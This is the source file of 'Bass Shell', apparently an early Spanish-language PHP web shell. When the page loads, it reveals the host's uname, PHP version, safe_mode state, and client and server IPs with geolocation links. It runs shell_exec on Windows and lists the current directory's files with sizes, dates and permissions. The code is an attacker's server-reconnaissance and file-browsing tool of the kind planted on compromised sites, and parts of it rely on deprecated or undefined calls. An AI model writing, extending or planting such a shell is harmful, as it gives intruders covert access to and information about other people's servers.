/shell.php
PHP | 157 lines | 143 code | 6 blank | 8 comment | 19 complexity | 36147daef67a5ebd1d05b1ad9c596abe MD5 | raw file
- <?php
- /*
- $permisosActuales=substr(sprintf('%o', fileperms("Proyecto Base Shell.docx")), -4);
- echo "$permisosActuales<hr>";
- chmod("Proyecto Base Shell.docx", 755);
- */
- ?>
- <?php
- include("funciones.php");
- $uname = " ".php_uname();
- $wnd = strpos($uname, "Windows");
- $lnx = strpos($uname, "Linux");
- $SRV = getenv("SERVER_SOFTWARE");
- if($lnx){
- $SOicon = 0;
- $SO = "lnx";
- }elseif($wnd){
- $SOicon = 56;#icono del sistema
- $SO = "wnd";
- }
- if (!ereg("PHP/".phpversion(),$SRV)) $SRV.=". PHP/".phpversion();
- $SRV = str_replace("PHP/".phpversion(),"<a href='?phpinfo' class='BS_link' target='_blank'><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($SRV));
-
- if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on"){
- $safemode = "<font color=green>ON (seguro)</font>";
- }else{
- $safemode = "<font color=red>OFF (no seguro)</font>";
- $exec=true;
- }
- define("BassShell",basename($_SERVER['PHP_SELF']));
- define("_DS_",DIRECTORY_SEPARATOR);
- define("_DIR",getcwd());
-
- $des=$_GET['s'][0];
- $col=$_GET['s'][1];
- $n=($col=="n")?0:6;
- $t=($col=="t")?0:7;
- $f=($col=="f")?0:8;
- $p=($col=="p")?0:9;
-
- if($SO=='wnd' && $exec){
- $attrib = shell_exec('attrib');
- if(!empty($attrib)){
- $attrib=explode("\n",$attrib);
- }
- }
- // Atributos de los Archivos
- foreach($attrib as $key=>$value){
- $value=explode(_DS_,attribclear($value));
- $atrib[$value[1]]=$value[0];
- }
- unset($attrib);
- #attribclear($attrib[$i])
- if ($gest = opendir(_DIR)) {
- while (false !== ($archi = readdir($gest))) {
- if ($archi != "." && $archi != "..") {
- if (is_file(_DIR._DS_.$archi)) {
- $arch[] = array($n=>$archi,$t=>filesize($archi),$f=>filemtime($archi),$p=>permisos($archi));
- }elseif(is_dir(_DIR._DS_.$archi)) {
- $dirs[] = array($n=>$archi,$t=>filesize($archi),$f=>filemtime($archi),$p=>permisos($archi));
- }
- }
- }
- closedir($gest);
- }
-
-
- for($i=0;$i<=count($arch)-1;$i++){
- ksort($arch[$i]);
- }
- ($des==1)?rsort($arch):sort($arch);
- #print_r($arch);
- ?>
- <html>
- <head>
- <title>Bass Shell - For Aplications</title>
- <link rel="stylesheet" type="text/css" href="estilo.css">
- <style>
- .sistemas{
- background:#000000 url(imagenes/sistemas.png) repeat-x <?=$SOicon;?>px 2px;
- }
- </style>
- </head>
- <body class="body">
- <center>
- <img src="imagenes/bass_shell.png" width="500"/><hr />
- <div style="background:#000000; text-align:left;height:80px;">
- <div class="sistemas"></div>
- <div style="color:#CCCCCC; padding:6px 0 0 80px;"><label>uname -a:</label> <?=$uname?> <label>safe-mode:</label> <?=$safemode?></div>
- <div class="conexion"></div>
- <div style="color:#CCCCCC; padding:0 0 0 120px;">
- <label>Tu : </label><a href="http://www.geoiptool.com/es/?IP=<?=$_SERVER['REMOTE_ADDR']?>" target="_blank" class="BS_link">
- <?=$_SERVER['REMOTE_ADDR']?></a> <label>Servidor : </label><a href="http://www.geoiptool.com/es/?IP=<?=$_SERVER['SERVER_ADDR']?>" target="_blank" class="BS_link"><?=$_SERVER['SERVER_ADDR']?></a><br />
- <label>Tu : </label><?=gethostbyaddr($_SERVER['REMOTE_ADDR'])?></a> <label>Servidor : </label><?=gethostbyaddr($_SERVER['SERVER_ADDR'])?>
- <br><?=$SRV?> </div>
-
- </div>
- <hr />
- <?="<b>"._DIR."</b> <hr />";?>
- <div class="caja">
- <table width="100%" border="0" cellpadding="0">
- <td>
- <a href="<?php echo ($des==0)?"$me?s=1n":"$me?s=0n"; ?>" class="sort">
- Nombre
- <? if($_GET['s'][1]=='n'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortn border="none"/><? } ?>
- </a>
- </td>
- <td>
- <a href="<?php echo ($des==0)?"$me?s=1t":"$me?s=0t"; ?>" class="sort">
- Tamaño
- <? if($_GET['s'][1]=='t'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortt border="none"/><? } ?>
- </a>
- </td>
- <td>
- <a href="<?php echo ($des==0)?"$me?s=1f":"$me?s=0f"; ?>" class="sort">
- Última Modificación
- <? if($_GET['s'][1]=='f'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortf border="none"/><? } ?>
- </a>
- </td>
- <?=(($lnx)?"<td>Dueño/grupo</td>":"")?>
- <td>
- <a href="<?php echo ($des==0)?"$me?s=1p":"$me?s=0p"; ?>" class="sort">
- Permisos
- <? if($_GET['s'][1]=='p'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortf border="none"/><? } ?>
- </a>
- </td>
- <?=(($wnd)?"<td class=\"sort\">Atributos</td>":"")?>
- <td class="sort">Check</td>
- <?php
- foreach ($dirs as $val) {
- echo "<tr>
- <td><img src='imagenes/iconos/folder.png'/> [".htmlentities($val[$n])."]</td>
- <td>".$val[$t]."</td>
- <td>".$val[$f]."</td>".
- (($lnx)?"<td>Dueño/grupo</td>":"").
- "<td>".$val[$p]."</td>".
- (($wnd)?"<td>".($atrib[$val[$n]])."</td>":"").
- "<td><input type=checkbox value=''/></td>";
- }
- ?>
- <?php
- foreach ($arch as $val) {
- echo "<tr>
- <td><img src='imagenes/iconos/text.png'/>".htmlentities($val[$n])."</td>
- <td>".$val[$t]."</td>
- <td>".$val[$f]."</td>".
- (($lnx)?"<td>Dueño/grupo</td>":"").
- "<td>".$val[$p]."</td>".
- (($wnd)?"<td>".($atrib[$val[$n]])."</td>":"").
- "<td><input type=checkbox value=''/></td>";
- }
- ?>
- </table>
- </div>
- </center>
- </body>
- </html>